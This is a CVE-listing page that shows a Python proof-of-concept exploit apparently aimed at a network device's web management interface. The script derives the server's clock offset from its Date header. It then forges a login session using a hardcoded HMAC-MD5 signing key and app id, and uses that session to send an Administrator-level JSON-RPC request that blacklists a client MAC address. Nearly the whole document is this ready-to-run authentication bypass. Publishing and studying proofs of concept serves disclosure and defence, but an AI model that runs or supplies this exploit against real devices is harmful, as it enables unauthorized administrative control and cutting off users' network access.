4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exp.py PY
import requests
import time
import hmac
import hashlib
import urllib3  
urllib3.disable_warnings(category=urllib3.exceptions.InsecureRequestWarning)
import json
from datetime import datetime

# CHANGE THIS TO WEB INTERFACE ADDRESS
base = "https://localhost:443"

def generate_signature(timestamp, key):
    message = str(timestamp).encode('utf-8')
    key = key.encode('utf-8')
    signature = hmac.new(key, message, hashlib.md5).hexdigest().upper()
    return signature

#######################
# CALCULATE TIMESTAMP #
#######################
response = requests.get(base, verify=False)
print(f"Status Code: {response.status_code}")
for key, items in response.headers.items():
    if key == "Date":
        server_date = items
        break
server_time = int(datetime.strptime(server_date, "%a, %d %b %Y %X %Z").strftime("%s"))
timestamp = int(time.time())
offset = server_time - timestamp + 28800

print(f"Server Time: {server_time}")
print(f"Local Time: {timestamp}")
print(f"Time Discrepency: {offset}")
print("====")

##########################
# GENERATE VALID SESSION #
##########################
url = f"{base}/echo.fcgi/api/login"
# Generate timestamp and signature
timestamp = int(time.time()) + offset
key = "hyadasdfasdf32eb"
signature = generate_signature(timestamp, key)

headers = {
    "X-API-App-Id": "hyapiinterface",
    "X-API-Timestamp": str(timestamp),
    "X-API-Signature": signature
}

response = requests.post(url, headers=headers, json={}, verify=False)

print(f"Sent headers:\nX-API-App-Id : { headers['X-API-App-Id'] }\nX-API-Timestamp : { headers['X-API-Timestamp'] }\nX-API-Signature : { headers['X-API-Signature'] }")
print(f"Status Code: {response.status_code}")
print("Response Body:")
print(response.text)

res = json.loads(response.text)
print(f"sessionId : {res['result']['sessionId']}")

print("====")

################
# SEND REQUEST #
################
headers2 = {
    "Host": "localhost",
    "Content-Length": "325",
    "Sec-Ch-Ua": '"Not;A=Brand";v="99", "Chromium";v="106"',
    "Accept": "application/json, text/plain, */*",
    "Sec-Ch-Ua-Platform": '"Windows"',
    "Accept-Language": "en-GB",
    "Sec-Ch-Ua-Mobile": "?0",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36",
    "Content-Type": "application/json",
    "Origin": "https://localhost",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Dest": "empty",
    "Referer": "https://localhost/static/main.html",
    "Accept-Encoding": "gzip, deflate, br",
    "Priority": "u=1, i",
    "Connection": "keep-alive"
}

data_addBL = {
    "id":30,
    "jsonrpc":"2.0",
    "method":"expressmessage.call",
    "username":"Administrator",
    "session":f"{res['result']['sessionId']}",
    "topic":"WMA/TEST",
    "params": {
        "version":"3.0",
        "messageID":30,
        "macAddress":"DC:08:56:B4:95:E0",
        "option":"update",
        "method":"blacklist.setClientBlacklist",
        "contents": {
            "addlist":["DE:AD:BE:EF:10:01"]
            }
        }
    }

url2 = f"{base}/echo.fcgi"

response = requests.post(url2, headers=headers2, json=data_addBL, verify=False)

print(f"Sent data:\nsession: {data_addBL['session']}\nmethod: {data_addBL['method']}")
print(f"Status Code: {response.status_code}")
print("Response Body:")
print(response.text)